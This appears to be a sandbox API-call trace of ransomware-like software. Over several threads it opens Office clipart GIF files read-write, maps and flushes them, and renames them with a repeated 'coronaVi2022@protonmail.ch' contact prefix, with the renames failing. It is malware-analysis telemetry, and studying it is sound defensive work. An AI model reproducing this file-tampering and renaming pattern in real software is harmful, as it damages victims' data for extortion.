	[0095.153] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc34
	[0095.153] GetFileSizeEx (in: hFile=0xc34, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4929) returned 1
	[0095.153] CreateFileMappingA (hFile=0xc34, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1341, lpName=0x0) returned 0xc38
	[0095.153] MapViewOfFile (hFileMappingObject=0xc38, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.155] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.155] CloseHandle (hObject=0xc38) returned 1
	[0095.155] GetCurrentThreadId () returned 0x19ec
	[0095.155] FlushFileBuffers (hFile=0xc34) returned 1
	[0095.158] CloseHandle (hObject=0xc34) returned 1
	[0095.158] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif") returned 271
	[0095.158] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00167_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00167_.gif")) returned 0
	[0095.159] free (_Block=0x51f4090) 
	[0095.159] RtlExitUserThread (Status=0x0) 

Thread:
	id = 608
	os_tid = 0x19f0

	[0095.160] _alloca_probe () returned 0x40328a
	[0095.161] GetCurrentThreadId () returned 0x19f0
	[0095.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif", dwFileAttributes=0x80) returned 1
	[0095.161] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc38
	[0095.161] GetFileSizeEx (in: hFile=0xc38, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5409) returned 1
	[0095.161] CreateFileMappingA (hFile=0xc38, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1521, lpName=0x0) returned 0xc3c
	[0095.161] MapViewOfFile (hFileMappingObject=0xc3c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.163] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.163] CloseHandle (hObject=0xc3c) returned 1
	[0095.163] GetCurrentThreadId () returned 0x19f0
	[0095.163] FlushFileBuffers (hFile=0xc38) returned 1
	[0095.165] CloseHandle (hObject=0xc38) returned 1
	[0095.165] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif") returned 271
	[0095.165] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00169_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00169_.gif")) returned 0
	[0095.165] free (_Block=0x51f1078) 
	[0095.165] RtlExitUserThread (Status=0x0) 

Thread:
	id = 609
	os_tid = 0x19f4

	[0095.167] _alloca_probe () returned 0x40328a
	[0095.168] GetCurrentThreadId () returned 0x19f4
	[0095.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif", dwFileAttributes=0x80) returned 1
	[0095.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc3c
	[0095.168] GetFileSizeEx (in: hFile=0xc3c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=9248) returned 1
	[0095.168] CreateFileMappingA (hFile=0xc3c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2420, lpName=0x0) returned 0xc40
	[0095.168] MapViewOfFile (hFileMappingObject=0xc40, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.171] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.171] CloseHandle (hObject=0xc40) returned 1
	[0095.171] GetCurrentThreadId () returned 0x19f4
	[0095.171] FlushFileBuffers (hFile=0xc3c) returned 1
	[0095.173] CloseHandle (hObject=0xc3c) returned 1
	[0095.173] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif") returned 271
	[0095.173] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00170_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00170_.gif")) returned 0
	[0095.173] free (_Block=0x51f3088) 
	[0095.173] RtlExitUserThread (Status=0x0) 

Thread:
	id = 610
	os_tid = 0x19f8

	[0095.175] _alloca_probe () returned 0x40328a
	[0095.176] GetCurrentThreadId () returned 0x19f8
	[0095.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif", dwFileAttributes=0x80) returned 1
	[0095.176] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc40
	[0095.176] GetFileSizeEx (in: hFile=0xc40, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=5057) returned 1
	[0095.176] CreateFileMappingA (hFile=0xc40, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x13c1, lpName=0x0) returned 0xc44
	[0095.176] MapViewOfFile (hFileMappingObject=0xc44, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.177] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.178] CloseHandle (hObject=0xc44) returned 1
	[0095.178] GetCurrentThreadId () returned 0x19f8
	[0095.178] FlushFileBuffers (hFile=0xc40) returned 1
	[0095.179] CloseHandle (hObject=0xc40) returned 1
	[0095.180] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif") returned 271
	[0095.180] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00171_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00171_.gif")) returned 0
	[0095.180] free (_Block=0x51f4090) 
	[0095.180] RtlExitUserThread (Status=0x0) 

Thread:
	id = 611
	os_tid = 0x19fc

	[0095.181] _alloca_probe () returned 0x40328a
	[0095.182] GetCurrentThreadId () returned 0x19fc
	[0095.182] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif", dwFileAttributes=0x80) returned 1
	[0095.182] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc44
	[0095.182] GetFileSizeEx (in: hFile=0xc44, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4417) returned 1
	[0095.182] CreateFileMappingA (hFile=0xc44, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1141, lpName=0x0) returned 0xc48
	[0095.182] MapViewOfFile (hFileMappingObject=0xc48, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.184] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.184] CloseHandle (hObject=0xc48) returned 1
	[0095.184] GetCurrentThreadId () returned 0x19fc
	[0095.184] FlushFileBuffers (hFile=0xc44) returned 1
	[0095.186] CloseHandle (hObject=0xc44) returned 1
	[0095.186] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif") returned 271
	[0095.186] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00172_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00172_.gif")) returned 0
	[0095.186] free (_Block=0x51f60a0) 
	[0095.186] RtlExitUserThread (Status=0x0) 

Thread:
	id = 612
	os_tid = 0x1a00

	[0095.188] _alloca_probe () returned 0x40328a
	[0095.189] GetCurrentThreadId () returned 0x1a00
	[0095.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif", dwFileAttributes=0x80) returned 1
	[0095.189] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc48
	[0095.189] GetFileSizeEx (in: hFile=0xc48, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=4001) returned 1
	[0095.189] CreateFileMappingA (hFile=0xc48, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xfa1, lpName=0x0) returned 0xc4c
	[0095.189] MapViewOfFile (hFileMappingObject=0xc4c, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.191] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.191] CloseHandle (hObject=0xc4c) returned 1
	[0095.191] GetCurrentThreadId () returned 0x1a00
	[0095.191] FlushFileBuffers (hFile=0xc48) returned 1
	[0095.192] CloseHandle (hObject=0xc48) returned 1
	[0095.192] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif") returned 271
	[0095.193] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00174_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00174_.gif")) returned 0
	[0095.193] free (_Block=0x51f0070) 
	[0095.193] RtlExitUserThread (Status=0x0) 

Thread:
	id = 613
	os_tid = 0x1a04

	[0095.195] _alloca_probe () returned 0x40328a
	[0095.195] GetCurrentThreadId () returned 0x1a04
	[0095.195] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif", dwFileAttributes=0x80) returned 1
	[0095.195] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc4c
	[0095.196] GetFileSizeEx (in: hFile=0xc4c, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3393) returned 1
	[0095.196] CreateFileMappingA (hFile=0xc4c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xd41, lpName=0x0) returned 0xc50
	[0095.196] MapViewOfFile (hFileMappingObject=0xc50, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.198] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.198] CloseHandle (hObject=0xc50) returned 1
	[0095.198] GetCurrentThreadId () returned 0x1a04
	[0095.198] FlushFileBuffers (hFile=0xc4c) returned 1
	[0095.200] CloseHandle (hObject=0xc4c) returned 1
	[0095.200] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif") returned 271
	[0095.200] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00175_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00175_.gif")) returned 0
	[0095.201] free (_Block=0x51f5098) 
	[0095.201] RtlExitUserThread (Status=0x0) 

Thread:
	id = 614
	os_tid = 0x1a08

	[0095.248] _alloca_probe () returned 0x40328a
	[0095.249] GetCurrentThreadId () returned 0x1a08
	[0095.249] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif", dwFileAttributes=0x80) returned 1
	[0095.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___coronavi2022@protonmail.ch___ag00176_.gif"), dwDesiredAccess=0x12019f, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xc50
	[0095.249] GetFileSizeEx (in: hFile=0xc50, lpFileSize=0x328ff5c | out: lpFileSize=0x328ff5c*=3120) returned 1
	[0095.249] CreateFileMappingA (hFile=0xc50, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc30, lpName=0x0) returned 0xc54
	[0095.249] MapViewOfFile (hFileMappingObject=0xc54, dwDesiredAccess=0xf001f, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2320000
	[0095.251] UnmapViewOfFile (lpBaseAddress=0x2320000) returned 1
	[0095.251] CloseHandle (hObject=0xc54) returned 1
	[0095.251] GetCurrentThreadId () returned 0x1a08
	[0095.251] FlushFileBuffers (hFile=0xc50) returned 1
	[0095.252] CloseHandle (hObject=0xc50) returned 1
	[0095.253] _swprintf (in: param_1=0x3289f1c, param_2="%s%s___%s" | out: param_1="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___coronaVi2022@protonmail.ch___AG00176_.gif") returned 271
